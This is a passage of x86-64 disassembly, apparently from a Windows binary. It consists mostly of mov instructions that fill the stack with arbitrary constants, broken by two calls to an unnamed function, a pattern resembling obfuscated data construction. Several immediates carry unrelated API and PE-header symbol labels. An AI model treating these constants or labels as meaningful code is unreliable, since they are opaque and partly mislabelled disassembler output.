mov word [rsp + 0xccc], ax
mov dword [rsp + 0x35b8], 0xb352a276
movabs rax, 0x1724568c3f6754de
mov qword [rsp + 0x63d0], rax
movabs rax, 0x761b3a4404bb50ce
mov qword [rsp + 0x63d8], rax
mov eax, 0x4d8a
mov word [rsp + 0xcd0], ax
mov byte [rsp + 0xd8], 0xf3
mov byte [rsp + 0xd9], 0x56
mov eax, 0x9aa
mov word [rsp + 0xcd4], ax
movabs rax, 0x838bf2b1f9fd14ef
mov qword [rsp + 0x63e0], rax
movabs rax, 0x31340571ce7dc521
mov qword [rsp + 0x63e8], rax
movabs rax, 0x9a20ae8853b06772
mov qword [rsp + 0x63f0], rax
mov dword [rsp + 0x35bc], 0x6eeb0d13
mov eax, 0x808
mov word [rsp + 0xcd8], ax
movabs rax, 0xe17c9edcdcf7ccf0
mov qword [rsp + 0x63f8], rax
mov byte [rsp + 0xda], 0xf3
mov dword [rsp + 0x35c0], 0x96d6add3
movabs rax, 0x1c24a210a70f3cf9
mov qword [rsp + 0x6400], rax
mov dword [rsp + 0x35c4], 0xde6bc4d4
mov byte [rsp + 0xdb], 0x98
mov byte [rsp + 0xdc], 0x21
movabs rax, 0x7b82bbfba194e86a
mov qword [rsp + 0x6408], rax
mov eax, 0x39d9
mov word [rsp + 0xcdc], ax
mov eax, 0x72c4
mov word [rsp + 0xce0], ax
mov eax, 0x827
mov word [rsp + 0xce4], ax
movabs rax, 0x9d890a94c5ed6237
mov qword [rsp + 0x6410], rax
mov eax, 0x2c8
mov word [rsp + 0xce8], ax
movabs rax, 0x4b5db04fbc64636f
mov qword [rsp + 0x6418], rax
mov byte [rsp + 0xdd], 0x97
mov dword [rsp + 0x35c8], 0x7e763810
mov dword [rsp + 0x35cc], 0x4eb3edcc
mov eax, 0xe71
mov word [rsp + 0xcec], ax
mov eax, 0x7547
mov word [rsp + 0xcf0], ax
movabs rax, 0xa2c4ea805ab5c786
mov qword [rsp + 0x6420], rax
mov eax, 0x788e
mov word [rsp + 0xcf4], ax
movabs rax, 0x4cd8624d79dc1762
mov qword [rsp + 0x6428], rax
mov dword [rsp + 0x35d0], 0x2a13321
mov dword [rsp + 0x35d4], 0x31155abb
mov byte [rsp + 0xde], 0x4a
mov byte [rsp + 0xdf], 0xbe
mov dword [rsp + 0x35d8], 0x217ea226
mov eax, 0xcdb
mov word [rsp + 0xcf8], ax
mov byte [rsp + 0xe0], 0x2e
mov dword [rsp + 0x35dc], 0x79f29b7b
mov dword [rsp + 0x35e0], 0xb6e98ced
mov dword [rsp + 0x35e4], 0xc71249f0
mov dword [rsp + 0x35e8], 0x78a38972
mov byte [rsp + 0xe1], 0x41
mov eax, 0xdad
mov word [rsp + 0xcfc], ax
mov byte [rsp + 0xe2], 0xb9
movabs rax, 0x869a20870fa2657f
mov qword [rsp + 0x6430], rax
mov dword [rsp + 0x35ec], 0x22136f6
movabs rax, 0x3caf3bd78c672a84
mov qword [rsp + 0x6438], rax
movabs rax, 0x5322d87416b46021
mov qword [rsp + 0x6440], rax
mov eax, 0x71b
mov word [rsp + 0xd00], ax
movabs rax, 0xf3fec4fac2c3c924
mov qword [rsp + 0x6448], rax
mov byte [rsp + 0xe3], 0x13
mov byte [rsp + 0xe4], 0x19
mov eax, 0x7e2
mov word [rsp + 0xd04], ax
mov dword [rsp + 0x35f0], 0x3874fce9
movabs rax, 0xc6deecdd3b8794cf
mov qword [rsp + 0x6450], rax
mov dword [rsp + 0x35f4], 0xf3555111
mov dword [rsp + 0x35f8], 0x193abdfd
mov dword [rsp + 0x35fc], 0x3c3bc2b1
mov eax, 0x669
mov word [rsp + 0xd08], ax
mov eax, 0x64cd
mov word [rsp + 0xd0c], ax
mov dword [rsp + 0x3600], 0x5a2cd1eb
mov dword [rsp + 0x3604], 0x83218973
movabs rax, 0x9dca8443445a1ee8
mov qword [rsp + 0x6458], rax
mov eax, 0x3683
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x3608], 0x371b0c8d
movabs rax, 0x1612de92bca24566
mov qword [rsp + 0x6460], rax
mov dword [rsp + 0x360c], 0x691f69f3
movabs rax, 0x2f013308e9609ce6
mov qword [rsp + 0x6468], rax
movabs rax, 0x1466399c7b02c4c5
mov qword [rsp + 0x6470], rax
movabs rax, 0x63e5b574697ee764
mov qword [rsp + 0x6478], rax
mov eax, 0x656
mov word [rsp + 0xd14], ax
mov eax, 0x44b
mov word [rsp + 0xd18], ax
mov byte [rsp + 0xe5], 5
mov dword [rsp + 0x3610], 0xfe8c0202
mov dword [rsp + 0x3614], 0xd186742c
mov byte [rsp + 0xe6], 0x77
mov dword [rsp + 0x3618], 0x1698c615
mov eax, 0xf75
mov word [rsp + 0xd1c], ax
mov dword [rsp + 0x361c], 0xbba9b284
mov byte [rsp + 0xe7], 0x21
mov byte [rsp + 0xe8], 0x4f
movabs rax, 0x57a01baa634d8bc
mov qword [rsp + 0x6480], rax
mov byte [rsp + 0xe9], 0xde
mov byte [rsp + 0xea], 0x55
movabs rax, 0x2b1ee1b511a2808e
mov qword [rsp + 0x6488], rax
mov byte [rsp + 0xeb], 0xf0
mov eax, 0xf3
mov word [rsp + 0xd20], ax
mov eax, 0x998
mov word [rsp + 0xd24], ax
mov byte [rsp + 0xec], 0x55
mov eax, 0x509b
mov word [rsp + 0xd28], ax
mov byte [rsp + 0xed], 0x17
mov dword [rsp + 0x3620], 0x37ac8302
mov dword [rsp + 0x3624], 0xcd27906
movabs rax, 0x68784014ce8ce60c
mov qword [rsp + 0x6490], rax
mov eax, 0x29e2
mov word [rsp + 0xd2c], ax
mov dword [rsp + 0x3628], 0x32d408e
mov byte [rsp + 0xee], 0x72
mov byte [rsp + 0xef], 6
mov eax, 0xd7c
mov word [rsp + 0xd30], ax
mov byte [rsp + 0xf0], 0xb5
mov byte [rsp + 0xf1], 0x6f
mov eax, 0x5b8b
mov word [rsp + 0xd34], ax
mov byte [rsp + 0xf2], 0xe4
mov byte [rsp + 0xf3], 0x85
mov eax, LBItemFromPt
mov word [rsp + 0xd38], ax
mov byte [rsp + 0xf4], 8
mov eax, 0x329
mov word [rsp + 0xd3c], ax
movabs rax, 0x529173845497c1b
mov qword [rsp + 0x6498], rax
movabs rax, 0x49bdf8fdc7667012
mov qword [rsp + 0x64a0], rax
mov byte [rsp + 0xf5], 0xca
mov eax, 0xaaa
mov word [rsp + 0xd40], ax
mov byte [rsp + 0xf6], 0x33
mov eax, 0x1da
mov word [rsp + 0xd44], ax
mov byte [rsp + 0xf7], 0x2c
mov eax, 0x1db
mov word [rsp + 0xd48], ax
movabs rax, 0x25688a029fcbfee
mov qword [rsp + 0x64a8], rax
movabs rax, 0x7fc1131c26df253f
mov qword [rsp + 0x64b0], rax
movabs rax, 0x2a89700d34c980f3
mov qword [rsp + 0x64b8], rax
mov eax, 0x376
mov word [rsp + 0xd4c], ax
mov eax, 0x721a
mov word [rsp + 0xd50], ax
movabs rax, 0x6a209bea6cd79105
mov qword [rsp + 0x64c0], rax
movabs rax, 0xc7e7ed22e916c060
mov qword [rsp + 0x64c8], rax
mov eax, 0xe73
mov word [rsp + 0xd54], ax
mov byte [rsp + 0xf8], 0xbc
mov eax, RemoveWindowSubclass
mov word [rsp + 0xd58], ax
mov byte [rsp + 0xf9], 0x46
movabs rax, 0x6ff5a7ce732a5647
mov qword [rsp + 0x64d0], rax
mov dword [rsp + 0x362c], 0xfe53837
mov eax, 0x486
mov word [rsp + 0xd5c], ax
mov byte [rsp + 0xfa], 0xee
mov byte [rsp + 0xfb], 0x3c
mov byte [rsp + 0xfc], 0xf1
mov eax, 0x74d
mov word [rsp + 0xd60], ax
mov eax, 0xc92
mov word [rsp + 0xd64], ax
movabs rax, 0x455a0d2677fc06a
mov qword [rsp + 0x64d8], rax
mov dword [rsp + 0x3630], 0x3f057fa4
movabs rax, 0xbd27c28edaffc1fc
mov qword [rsp + 0x64e0], rax
mov eax, 0xad4
mov word [rsp + 0xd68], ax
mov eax, 0xfd
mov word [rsp + 0xd6c], ax
mov eax, 0x2442
mov word [rsp + 0xd70], ax
movabs rax, 0x24d4d2f2506daf2d
mov qword [rsp + 0x64e8], rax
mov dword [rsp + 0x3634], 0xbc1c0856
mov dword [rsp + 0x3638], 0x79ba99b
mov eax, 0x73de
mov word [rsp + 0xd74], ax
mov dword [rsp + 0x363c], 0x12bd7e10
mov eax, 0x6b3
mov word [rsp + 0xd78], ax
mov byte [rsp + 0xfd], 0x55
movabs rax, 0xa6fe2c21a0882ca3
mov qword [rsp + 0x64f0], rax
movabs rax, 0x279a955c94fd1657
mov qword [rsp + 0x64f8], rax
mov eax, 0x5d80
mov word [rsp + 0xd7c], ax
mov dword [rsp + 0x3640], 0x39d8083c
movabs rax, 0x2f369acafd197077
mov qword [rsp + 0x6500], rax
mov eax, 0x3d74
mov word [rsp + 0xd80], ax
mov dword [rsp + 0x3644], 0x12dbe526
movabs rax, 0xdfeab07659e94b12
mov qword [rsp + 0x6508], rax
mov dword [rsp + 0x3648], 0x1ccbb21e
mov dword [rsp + 0x364c], 0x80af6670
mov eax, 0xa02
mov word [rsp + 0xd84], ax
mov eax, 0x7832
mov word [rsp + 0xd88], ax
mov byte [rsp + 0xfe], 0x23
movabs rax, 0x8c991868c03a1bdf
mov qword [rsp + 0x6510], rax
mov eax, 0x3af5
mov word [rsp + 0xd8c], ax
movabs rax, 0x9c0b74b2bd0b4f09
mov qword [rsp + 0x6518], rax
mov byte [rsp + 0xff], 0x9f
mov dword [rsp + 0x3650], 0xe356ac5d
mov dword [rsp + 0x3654], 0x4c6c255c
movabs rax, 0xf7a2fa87a721c6ef
mov qword [rsp + 0x6520], rax
mov dword [rsp + 0x3658], 0x108bbf64
mov eax, 0x6a
mov word [rsp + 0xd90], ax
movabs rax, 0x3622a48cd73b35f3
mov qword [rsp + 0x6528], rax
mov eax, 0x210c
mov word [rsp + 0xd94], ax
mov byte [rsp + 0x100], 0x2f
movabs rax, 0x50388f6c2c28bce7
mov qword [rsp + 0x6530], rax
mov dword [rsp + 0x365c], 0xdbb449ec
mov byte [rsp + 0x101], 0x1c
mov byte [rsp + 0x102], 0x8d
mov dword [rsp + 0x3660], 0xcf61d39e
movabs rax, 0xb2d5f9d9694fbb5f
mov qword [rsp + 0x6538], rax
movabs rax, 0x943f8491eb1f0a0e
mov qword [rsp + 0x6540], rax
mov eax, 0x4811
mov word [rsp + 0xd98], ax
movabs rax, 0x76894fb7740752f
mov qword [rsp + 0x6548], rax
mov byte [rsp + 0x103], 0x47
mov eax, 0xb89
mov word [rsp + 0xd9c], ax
movabs rax, 0xe947cb573da9937a
mov qword [rsp + 0x6550], rax
mov dword [rsp + 0x3664], 0xc6b1469b
movabs rax, 0x596d530c8fd712cd
mov qword [rsp + 0x6558], rax
mov eax, 0x406c
mov word [rsp + 0xda0], ax
mov dword [rsp + 0x3668], 0x6c85e474
movabs rax, 0x9f20c45b504dfb3e
mov qword [rsp + 0x6560], rax
mov dword [rsp + 0x366c], 0x621d06b2
mov dword [rsp + 0x3670], 0x192c35e
mov eax, 0x20e7
mov word [rsp + 0xda4], ax
mov dword [rsp + 0x3674], 0x6c03b333
mov dword [rsp + 0x3678], 0x42eae605
mov byte [rsp + 0x104], 0x49
movabs rax, 0x75eacecb4d5fac9
mov qword [rsp + 0x6568], rax
mov dword [rsp + 0x367c], 0xd6ffe654
movabs rax, 0x33e07d34d537dcdc
mov qword [rsp + 0x6570], rax
mov eax, 0x1803
mov word [rsp + 0xda8], ax
mov eax, 0x3a69
mov word [rsp + 0xdac], ax
movabs rax, 0x5354cabbca48e17e
mov qword [rsp + 0x6578], rax
mov dword [rsp + 0x3680], 0x612ec584
mov byte [rsp + 0x105], 0x78
mov eax, 0x77c8
mov word [rsp + 0xdb0], ax
mov byte [rsp + 0x106], 0x54
movabs rax, 0x2385f51c0f1b5573
mov qword [rsp + 0x6580], rax
mov byte [rsp + 0x107], 0x73
mov byte [rsp + 0x108], 0x39
mov eax, 0x876
mov word [rsp + 0xdb4], ax
mov eax, 0x3df3
mov word [rsp + 0xdb8], ax
mov dword [rsp + 0x3684], 0x71e53ffe
mov byte [rsp + 0x109], 0x47
movabs rax, 0xd83f78527281ad3c
mov qword [rsp + 0x6588], rax
mov eax, 0x40f
mov word [rsp + 0xdbc], ax
mov dword [rsp + 0x3688], 0x38e68304
mov dword [rsp + 0x368c], 0x6bf9d14d
mov byte [rsp + 0x10a], 0x71
movabs rax, 0x4e428774a51bb880
mov qword [rsp + 0x6590], rax
mov byte [rsp + 0x10b], 0x74
mov byte [rsp + 0x10c], 0x60
mov dword [rsp + 0x3690], 0x19ca31e4
mov dword [rsp + 0x3694], 0xe57d3df
movabs rax, 0x76164a3dfa5ca738
mov qword [rsp + 0x6598], rax
mov byte [rsp + 0x10d], 0x5f
mov eax, 0xbd2
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x3698], 0x1a8737c1
mov dword [rsp + 0x369c], 0x9fe843f
mov byte [rsp + 0x10e], 0xfe
mov byte [rsp + 0x10f], 5
mov dword [rsp + 0x36a0], 0x1275e708
movabs rax, 0x67ce4a3fa6a27d9e
mov qword [rsp + 0x65a0], rax
mov dword [rsp + 0x36a4], 0x427282cd
mov dword [rsp + 0x36a8], 0x73cea721
mov dword [rsp + 0x36ac], 0x3b01c6b2
movabs rax, 0x708aef7662a2956c
mov qword [rsp + 0x65a8], rax
mov eax, 0x277e
mov word [rsp + 0xdc4], ax
mov eax, 0x7729
mov word [rsp + 0xdc8], ax
movabs rax, 0x787e7fda94ad0343
mov qword [rsp + 0x65b0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2bc20]
call fcn.1401c3d00
mov eax, 0x55f8
mov word [rsp + 0xdcc], ax
mov eax, 0x4a0f
mov word [rsp + 0xdd0], ax
mov byte [rsp + 0x110], 0x3b
mov eax, 0xa32
mov word [rsp + 0xdd4], ax
mov dword [rsp + 0x36b0], 0x176af24b
mov byte [rsp + 0x111], 0x75
movabs rax, 0x4d5acc69ab5c51ca
mov qword [rsp + 0x65b8], rax
mov dword [rsp + 0x36b4], 0x6ce95ab8
mov dword [rsp + 0x36b8], 0x1cbf1c9e
mov dword [rsp + 0x36bc], 0x4038fda6
mov eax, 0x6c4
mov word [rsp + 0xdd8], ax
mov dword [rsp + 0x36c0], 0x42907a93
mov eax, 0xfd9
mov word [rsp + 0xddc], ax
movabs rax, 0x12801679c3b678c8
mov qword [rsp + 0x65c0], rax
mov eax, 0x456
mov word [rsp + 0xde0], ax
mov eax, 0xf5d
mov word [rsp + 0xde4], ax
mov dword [rsp + 0x36c4], 0xd84f8ebe
movabs rax, 0x221f2cad73987f04
mov qword [rsp + 0x65c8], rax
mov dword [rsp + 0x36c8], 0xe5990805
mov eax, 0x72e
mov word [rsp + 0xde8], ax
mov dword [rsp + 0x36cc], 0x9f871eb4
mov byte [rsp + 0x112], 3
movabs rax, 0x7cd63ac019eddb6e
mov qword [rsp + 0x65d0], rax
mov byte [rsp + 0x113], 0x4b
mov eax, 0x2bc
mov word [rsp + 0xdec], ax
mov eax, 0x112a
mov word [rsp + 0xdf0], ax
movabs rax, 0x3bf62e05d299d414
mov qword [rsp + 0x65d8], rax
mov dword [rsp + 0x36d0], 0x4acdbc2f
mov byte [rsp + 0x114], 0x21
mov eax, 0x5039
mov word [rsp + 0xdf4], ax
movabs rax, 0x6f05b0732acd95db
mov qword [rsp + 0x65e0], rax
movabs rax, 0x56e31585fe6168e1
mov qword [rsp + 0x65e8], rax
movabs rax, 0x36779fb8bf6bfb91
mov qword [rsp + 0x65f0], rax
mov byte [rsp + 0x115], 0x9d
movabs rax, 0x50bb48cedcfa4dd6
mov qword [rsp + 0x65f8], rax
mov eax, 0x12d
mov word [rsp + 0xdf8], ax
mov eax, 0xa7a
mov word [rsp + 0xdfc], ax
mov eax, 0x202c
mov word [rsp + 0xe00], ax
mov byte [rsp + 0x116], 0x66
mov eax, 0x165
mov word [rsp + 0xe04], ax
movabs rax, 0x119fb62d181f9999
mov qword [rsp + 0x6600], rax
mov dword [rsp + 0x36d4], 0x5cfb6bd2
mov eax, 0x543
mov word [rsp + 0xe08], ax
mov dword [rsp + 0x36d8], 0xc352ef3
mov byte [rsp + 0x117], 0x2d
movabs rax, 0x45ec1f6cd0d0de1a
mov qword [rsp + 0x6608], rax
mov dword [rsp + 0x36dc], 0x79b271ed
mov dword [rsp + 0x36e0], 0xbeea1121
mov eax, 0xe68
mov word [rsp + 0xe0c], ax
movabs rax, 0xe1945b2ff13d4e77
mov qword [rsp + 0x6610], rax
mov eax, 0xfca
mov word [rsp + 0xe10], ax
mov byte [rsp + 0x118], 0xa
mov eax, 0x5a7
mov word [rsp + 0xe14], ax
mov dword [rsp + 0x36e4], 0xfd51b0e8
mov dword [rsp + 0x36e8], 0x1c72a7be
mov byte [rsp + 0x119], 0xcd
mov dword [rsp + 0x36ec], 0x12d4f667
movabs rax, 0xceaea4e59240cd44
mov qword [rsp + 0x6618], rax
movabs rax, 0x307941c10fbf321d
mov qword [rsp + 0x6620], rax
movabs rax, 0x932b61bfbb2b0247
mov qword [rsp + 0x6628], rax
mov byte [rsp + 0x11a], 0x76
mov byte [rsp + 0x11b], 0x2f
mov dword [rsp + 0x36f0], 0x4d22c5e2
mov dword [rsp + 0x36f4], 0x91296419
movabs rax, 0x67dbed6e13852843
mov qword [rsp + 0x6630], rax
movabs rax, 0x2acce4889ca226ab
mov qword [rsp + 0x6638], rax
mov eax, 0x5a17
mov word [rsp + 0xe18], ax
mov eax, 0xe9b
mov word [rsp + 0xe1c], ax
mov byte [rsp + 0x11c], 0xd7
movabs rax, 0x6693f624cba35aa3
mov qword [rsp + 0x6640], rax
movabs rax, 0x7b6ac8c31eb1d0df
mov qword [rsp + 0x6648], rax
mov byte [rsp + 0x11d], 0x7a
mov dword [rsp + 0x36f8], 0xb54017d2
mov byte [rsp + 0x11e], 0x66
mov eax, 0x6d6
mov word [rsp + 0xe20], ax
mov byte [rsp + 0x11f], 0x75
mov eax, 0x523
mov word [rsp + 0xe24], ax
mov byte [rsp + 0x120], 0x66
mov dword [rsp + 0x36fc], 0x105fb8eb
mov dword [rsp + 0x3700], 0xc98c58e2
mov dword [rsp + 0x3704], 0xaaa32b42
mov dword [rsp + 0x3708], 0x49518953
mov eax, 0x4c1
mov word [rsp + 0xe28], ax
movabs rax, 0x1cfb548d6d278a77
mov qword [rsp + 0x6650], rax
mov eax, 0x2d90
mov word [rsp + 0xe2c], ax
mov dword [rsp + 0x370c], 0xb1ea6a4d
mov byte [rsp + 0x121], 0xc7
mov dword [rsp + 0x3710], 0xd28d5afc
mov eax, 0x7a90
mov word [rsp + 0xe30], ax
mov eax, 0x197a
mov word [rsp + 0xe34], ax
movabs rax, 0x11be52c1aef2b1c1
mov qword [rsp + 0x6658], rax
mov byte [rsp + 0x122], 0x44
mov dword [rsp + 0x3714], 0x2fe79c61
mov dword [rsp + 0x3718], 0x2b9b5b2c
mov dword [rsp + 0x371c], 0x1b7abc65
mov dword [rsp + 0x3720], 0x870810e8
mov eax, 0xe6a
mov word [rsp + 0xe38], ax
mov dword [rsp + 0x3724], 0x34339887
mov eax, 0xcc8
mov word [rsp + 0xe3c], ax
movabs rax, 0xcab0da9842c9b2f0
mov qword [rsp + 0x6660], rax
mov byte [rsp + 0x123], 0x2e
mov dword [rsp + 0x3728], 0x31153d0f
mov byte [rsp + 0x124], 0x2b
movabs rax, 0x3a77047a781f9e94
mov qword [rsp + 0x6668], rax
movabs rax, 0x75b7c89e70472168
mov qword [rsp + 0x6670], rax
mov dword [rsp + 0x372c], 0x24348a0e
mov dword [rsp + 0x3730], 0x7bd4ecc3
mov byte [rsp + 0x125], 0x29
mov eax, 0xd56
mov word [rsp + 0xe40], ax
mov byte [rsp + 0x126], 0xc3
movabs rax, 0x4418372a58d2ba0d
mov qword [rsp + 0x6678], rax
mov byte [rsp + 0x127], pe_nt_image_headers64
mov eax, 0x8e3
mov word [rsp + 0xe44], ax
mov byte [rsp + 0x128], 0x66
movabs rax, 0xf6c0dffabf3b7ff
mov qword [rsp + 0x6680], rax
mov eax, 0x7d8
mov word [rsp + 0xe48], ax
mov byte [rsp + 0x129], 0x7b
movabs rax, 0x142d8d3cef076d8
mov qword [rsp + 0x6688], rax
mov eax, 0x8ac
mov word [rsp + 0xe4c], ax
mov eax, 0x2421
mov word [rsp + 0xe50], ax
mov byte [rsp + 0x12a], 0x4b
movabs rax, 0x49cec661db25dfaf
mov qword [rsp + 0x6690], rax
mov eax, 0x62fe
mov word [rsp + 0xe54], ax
movabs rax, 0xa97980370fed372e
mov qword [rsp + 0x6698], rax
mov dword [rsp + 0x3734], 0x66c68a63
movabs rax, 0x5dcee5971633db4b
mov qword [rsp + 0x66a0], rax
mov eax, 0x27bf
mov word [rsp + 0xe58], ax
mov byte [rsp + 0x12b], 0xa
mov byte [rsp + 0x12c], 0x42
mov byte [rsp + 0x12d], 0x59
mov eax, 0x53e
mov word [rsp + 0xe5c], ax
movabs rax, 0x7c62689b57d8ad08
mov qword [rsp + 0x66a8], rax
movabs rax, 0x15e4bcc12895f84c
mov qword [rsp + 0x66b0], rax
movabs rax, 0x5a50f6a9c283ecc1
mov qword [rsp + 0x66b8], rax
movabs rax, 0x427fd002b72232c3
mov qword [rsp + 0x66c0], rax
mov eax, 0xdb4
mov word [rsp + 0xe60], ax
mov eax, 0xb50
mov word [rsp + 0xe64], ax
mov byte [rsp + 0x12e], 0x17
movabs rax, 0xb4201f95ee83ef2
mov qword [rsp + 0x66c8], rax
mov dword [rsp + 0x3738], 0x1b4f92cc
mov dword [rsp + 0x373c], 0x30557944
mov dword [rsp + 0x3740], 0x2fe7f67a
mov byte [rsp + 0x12f], 0x33
mov byte [rsp + 0x130], 0xed
mov dword [rsp + 0x3744], 0x2f5cb372
mov byte [rsp + 0x131], 0x57
mov eax, 0x35c2
mov word [rsp + 0xe68], ax
movabs rax, 0x9d818787bc5c7ad5
mov qword [rsp + 0x66d0], rax
mov byte [rsp + 0x132], 0x88
mov eax, 0xcbe
mov word [rsp + 0xe6c], ax
mov dword [rsp + 0x3748], 0x45cf9503
mov eax, 0x5c1
mov word [rsp + 0xe70], ax
movabs rax, 0xda2f0a94da002c21
mov qword [rsp + 0x66d8], rax
mov dword [rsp + 0x374c], 0x741f17da
mov byte [rsp + 0x133], 0x1b
movabs rax, 0x2c52a17a511e156d
mov qword [rsp + 0x66e0], rax
mov dword [rsp + 0x3750], 0x3ca6cbc5
mov eax, 0x4f0e
mov word [rsp + 0xe74], ax
mov eax, 0x8ec
mov word [rsp + 0xe78], ax
mov dword [rsp + 0x3754], 0x8bcd95c2
mov eax, 0xa5d
mov word [rsp + 0xe7c], ax
mov eax, 0xa6e
mov word [rsp + 0xe80], ax
movabs rax, 0x43fcc72701e0c97b
mov qword [rsp + 0x66e8], rax
mov dword [rsp + 0x3758], 0x89e753c6
mov dword [rsp + 0x375c], 0x2d8348f9
mov eax, 0xcd0
mov word [rsp + 0xe84], ax
mov byte [rsp + 0x134], 0xbd
movabs rax, 0x7f22f1958ed678c1
mov qword [rsp + 0x66f0], rax
mov eax, 0x6929
mov word [rsp + 0xe88], ax
mov dword [rsp + 0x3760], 0x86be0dd5
mov eax, 0x22d2
mov word [rsp + 0xe8c], ax
mov dword [rsp + 0x3764], 0xe88ac604
mov byte [rsp + 0x135], 0xbd
movabs rax, 0xae4f6666bff231b2
mov qword [rsp + 0x66f8], rax
mov eax, 0xe9f
mov word [rsp + 0xe90], ax
movabs rax, 0xa7610a3f19bf29f0
mov qword [rsp + 0x6700], rax
movabs rax, 0x723ff272a062eb82
mov qword [rsp + 0x6708], rax
mov dword [rsp + 0x3768], 0x37ec1868
mov eax, 0x43e2
mov word [rsp + 0xe94], ax
mov byte [rsp + 0x136], 0x2c
mov dword [rsp + 0x376c], 0x6ad63cfd
mov eax, 0x434
mov word [rsp + 0xe98], ax
mov byte [rsp + 0x137], 0x19
movabs rax, 0x740e34777263dce9
mov qword [rsp + 0x6710], rax
mov dword [rsp + 0x3770], 0x52341149
mov byte [rsp + 0x138], 0xbd
mov dword [rsp + 0x3774], 0x4cf3accd
mov byte [rsp + 0x139], 0x5f
movabs rax, 0x4030b516b16ec50f
mov qword [rsp + 0x6718], rax
movabs rax, 0x39e8d5f71074529b
mov qword [rsp + 0x6720], rax
mov dword [rsp + 0x3778], 0x4c0f2fc1
mov eax, 0xb99
mov word [rsp + 0xe9c], ax
mov dword [rsp + 0x377c], 0x6f877b82
movabs rax, 0x46d8bff554448958
mov qword [rsp + 0x6728], rax
mov dword [rsp + 0x3780], 0x4f2d75fc
mov dword [rsp + 0x3784], 0x14f3642d
mov eax, 0x1a0
mov word [rsp + 0xea0], ax
mov eax, 0x4c44
mov word [rsp + 0xea4], ax
mov dword [rsp + 0x3788], 0x4f1f8f8b
mov byte [rsp + 0x13a], 0x66
mov dword [rsp + 0x378c], 0x2f63bbf0
movabs rax, 0xe9e7aa17b380d9b2
mov qword [rsp + 0x6730], rax
mov dword [rsp + 0x3790], 0x23239ffe
mov byte [rsp + 0x13b], 0x5e
movabs rax, 0x719336d0ccebc2b9
mov qword [rsp + 0x6738], rax
mov byte [rsp + 0x13c], 0x4c
mov eax, 0x65d
mov word [rsp + 0xea8], ax
mov byte [rsp + 0x13d], 0x1b
mov eax, 0x354
mov word [rsp + 0xeac], ax
movabs rax, 0x62f365c4889f50c
mov qword [rsp + 0x6740], rax
mov eax, 0xc81
mov word [rsp + 0xeb0], ax
mov byte [rsp + 0x13e], 0x68
movabs rax, 0x14a2be1e1ea2b7e6
mov qword [rsp + 0x6748], rax
movabs rax, 0x582ade2c4e26db79
mov qword [rsp + 0x6750], rax
mov byte [rsp + 0x13f], 0x79
mov byte [rsp + 0x140], 0x5b
mov dword [rsp + 0x3794], 0x6d230194
movabs rax, 0x2b4813e118b84ec3
mov qword [rsp + 0x6758], rax
mov dword [rsp + 0x3798], 0xfc25f5b5
mov byte [rsp + 0x141], 0xa7
movabs rax, 0x3e3b1fc0cbb265c2
mov qword [rsp + 0x6760], rax
mov dword [rsp + 0x379c], 0x5e99e79a
movabs rax, 0x7cafc999ec22fd16
mov qword [rsp + 0x6768], rax
mov byte [rsp + 0x142], 3
mov dword [rsp + 0x37a0], 0x904e5484
movabs rax, 0x87dddb4ccc462ba7
mov qword [rsp + 0x6770], rax
mov dword [rsp + 0x37a4], 0x4d8d69c5
mov eax, 0x4795
mov word [rsp + 0xeb4], ax
mov dword [rsp + 0x37a8], 0x75caa20a
mov dword [rsp + 0x37ac], 0x6a55a623
mov byte [rsp + 0x143], 0x4f
mov eax, 0x76c7
mov word [rsp + 0xeb8], ax
mov byte [rsp + 0x144], 0x73
mov byte [rsp + 0x145], 0x1c
movabs rax, 0xd5968a3ce2f20c82
mov qword [rsp + 0x6778], rax
mov byte [rsp + 0x146], 0xda
mov byte [rsp + 0x147], 0xe8
movabs rax, 0x6b40da0874eec8bf
mov qword [rsp + 0x6780], rax
movabs rax, 0x5f54ba7117ce2312
mov qword [rsp + 0x6788], rax
mov eax, 0x125f
mov word [rsp + 0xebc], ax
movabs rax, 0xc138bd7fbf57a210
mov qword [rsp + 0x6790], rax
mov eax, 0x572
mov word [rsp + 0xec0], ax
mov eax, 0x1a9e
mov word [rsp + 0xec4], ax
mov dword [rsp + 0x37b0], 0x11b9ad95
mov eax, 0x7a27
mov word [rsp + 0xec8], ax
movabs rax, 0xe58b4894a9954130
mov qword [rsp + 0x6798], rax
movabs rax, 0x5f6bc8b8eb32a4ae
mov qword [rsp + 0x67a0], rax
mov dword [rsp + 0x37b4], 0x2d072aa
mov byte [rsp + 0x148], 0x83
mov byte [rsp + 0x149], 0x28
mov dword [rsp + 0x37b8], 0xa9753bb
mov eax, 0x7e81
mov word [rsp + 0xecc], ax
movabs rax, 0x1017d52ed53ec893
mov qword [rsp + 0x67a8], rax
mov eax, 0x4a83
mov word [rsp + 0xed0], ax
mov byte [rsp + 0x14a], 0xda
mov eax, 0x1e3
mov word [rsp + 0xed4], ax
movabs rax, 0x3486812383bd5bfd
mov qword [rsp + 0x67b0], rax
movabs rax, 0x1ead3a7f25acbfb9
mov qword [rsp + 0x67b8], rax
movabs rax, 0x4dcea2257e25df3b
mov qword [rsp + 0x67c0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2bc38]
call fcn.1401c3d00
mov dword [rsp + 0x37bc], 0xe04650a
mov dword [rsp + 0x37c0], 0xf7865c9
movabs rax, 0x7cad6273bc89931c
mov qword [rsp + 0x67c8], rax
mov byte [rsp + 0x14b], 0x19
movabs rax, 0x1c4654d4cc215fd3
mov qword [rsp + 0x67d0], rax
mov dword [rsp + 0x37c4], 0x7563a964
mov byte [rsp + 0x14c], 0x4c
mov dword [rsp + 0x37c8], 0x8c784a7d
mov eax, 0xee5
mov word [rsp + 0xed8], ax
movabs rax, 0x68230f88fac488a2
mov qword [rsp + 0x67d8], rax
mov dword [rsp + 0x37cc], 0x7fc83f75
mov dword [rsp + 0x37d0], 0x3837b722
mov byte [rsp + 0x14d], 0x1d
mov dword [rsp + 0x37d4], 0x407d90cb
mov dword [rsp + 0x37d8], 0xc6524277
mov dword [rsp + 0x37dc], 0x52bb6981
movabs rax, 0x3481dd1087794947
mov qword [rsp + 0x67e0], rax
mov byte [rsp + 0x14e], 0x5c
movabs rax, 0x26ac018d2485c597
mov qword [rsp + 0x67e8], rax
mov byte [rsp + 0x14f], 0x5b
mov eax, 0x5672
mov word [rsp + 0xedc], ax
mov dword [rsp + 0x37e0], 0x4a4b3902
mov dword [rsp + 0x37e4], 0x84b4aa14
mov dword [rsp + 0x37e8], 0x14cd24e2
